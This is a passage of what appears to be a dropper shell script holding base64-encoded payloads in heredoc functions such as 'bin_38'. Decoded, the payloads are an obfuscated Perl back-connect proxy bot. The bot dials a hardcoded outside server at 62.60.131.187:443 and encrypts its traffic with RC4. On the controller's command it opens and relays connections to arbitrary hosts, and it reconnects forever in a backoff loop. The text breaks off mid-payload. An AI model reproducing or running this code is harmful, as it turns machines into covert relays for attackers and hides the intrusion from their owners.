IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_38() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODcnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
